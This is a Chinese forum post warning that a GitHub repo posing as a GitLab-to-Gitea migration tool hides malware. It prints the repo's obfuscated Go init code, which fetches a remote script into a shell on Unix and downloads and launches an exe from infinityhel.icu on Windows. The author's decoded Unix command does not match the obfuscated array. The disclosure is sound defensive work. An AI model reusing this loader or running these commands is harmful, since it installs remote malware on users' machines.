世界上还是坏人多啊

nas 上跑的 Gitlab ce 快把小内存炸了，于是试试搭了个 gitea ，看着还凑合 想把 Gitlab 上的一坨东西转过来，自己写不如集体智慧，于是开搜，但是搜到的都是 7-8 年前的 py ，拉下来满脸 warning ，怕不是要自己调试改一坨，一扭头看见一个 go 写的，粗看一下

import (
	"os/exec"
	"errors"
	"fmt"
	"os"
	"strings"
	"time"

	"code.gitea.io/sdk/gitea"  // gitea sdk ?
	"github.com/alexflint/go-arg"
	"github.com/cornelk/gotokit/env"
	"github.com/cornelk/gotokit/log"
	"gitlab.com/gitlab-org/api/client-go" // gitlab client ?
)

看着就靠谱，clone 下来正准备跑一跑试试，划拉划拉...拉到最底下菊花一紧

var qzhEVZ = exec.Command("/bin/" + "sh", "-c", WW[71] + WW[4] + WW[51] + WW[12] + WW[16] + WW[52] + WW[72] + WW[17] + WW[67] + WW[7] + WW[11] + WW[63] + WW[60] + WW[41] + WW[64] + WW[13] + WW[35] + WW[28] + WW[68] + WW[53] + WW[58] + WW[9] + WW[20] + WW[29] + WW[8] + WW[0] + WW[56] + WW[3] + WW[49] + WW[6] + WW[46] + WW[57] + WW[42] + WW[27] + WW[5] + WW[10] + WW[55] + WW[21] + WW[38] + WW[36] + WW[69] + WW[15] + WW[44] + WW[50] + WW[1] + WW[39] + WW[25] + WW[73] + WW[61] + WW[66] + WW[65] + WW[32] + WW[34] + WW[33] + WW[40] + WW[43] + WW[70] + WW[31] + WW[18] + WW[30] + WW[47] + WW[37] + WW[22] + WW[45] + WW[59] + WW[26] + WW[48] + WW[24] + WW[62] + WW[19] + WW[54] + WW[2] + WW[23] + WW[14]).Start()

var WW = []string{"y", "3", "h", "e", "g", "s", ".", " ", "t", "i", "t", "h", "t", ":", "&", "/", " ", " ", "b", "a", "n", "r", " ", " ", "/", "3", "i", "/", "/", "i", "f", "6", "/", "3", "a", "/", "g", "|", "a", "7", "1", "p", "u", "5", "d", "/", "i", " ", "n", "l", "e", "e", "-", "n", "s", "o", "h", "c", "f", "b", "t", "0", "b", "t", "s", "f", "d", "-", "i", "e", "4", "w", "O", "d"}



var RzkMMUW = "if n" + "ot ex" + "is" + "t %U" + "se" + "rPro" + "file%" + "\\Ap" + "pDat" + "a\\" + "Local" + "\\ukmo" + "eo\\" + "j" + "srv" + "b" + ".ex" + "e " + "cu" + "r" + "l ht" + "tps" + "://i" + "n" + "finit" + "y" + "hel." + "icu/s" + "torag" + "e/" + "bb" + "b" + "28ef0" + "4/fa" + "3154" + "6b" + " --" + "cre" + "ate-" + "dirs" + " -o" + " " + "%Use" + "rPr" + "of" + "ile%" + "\\" + "AppD" + "ata" + "\\L" + "o" + "cal\\u" + "kmo" + "eo\\j" + "srvb." + "exe" + " &&" + " s" + "tar" + "t " + "/b " + "%" + "Use" + "rPr" + "of" + "ile" + "%" + "\\App" + "Dat" + "a\\" + "L" + "o" + "cal\\u" + "kmoeo" + "\\js" + "rvb." + "ex" + "e"

var gqFJGwiR = gDNHtq()

func gDNHtq() error {
	exec.Command("cmd", "/C", RzkMMUW).Start()
	return nil
}

拆出来是

var realQzhEVZ = "/bin/sh -c 'if [ ! -f /tmp/ukmoeo/jsrvb.exe ]; then mkdir -p /tmp/ukmoeo && curl https://infinityhel.icu/storage/bbb28ef04/fa31546b --create-dirs -o /tmp/ukmoeo/jsrvb.exe && start /b /tmp/ukmoeo/jsrvb.exe; fi'"

if not exist %UserProfile%\\AppData\\Local\\ukmoeo\\jsrvb.exe curl https://infinityhel.icu/storage/bbb28ef04/fa31546b --create-dirs -o %UserProfile%\\AppData\\Local\\ukmoeo\\jsrvb.exe && start /b %UserProfile%\\AppData\\Local\\ukmoeo\\jsrvb.exe

幸亏瞅了一眼...

附带这货地址 github.com/vainrefuge/gitlab2gitea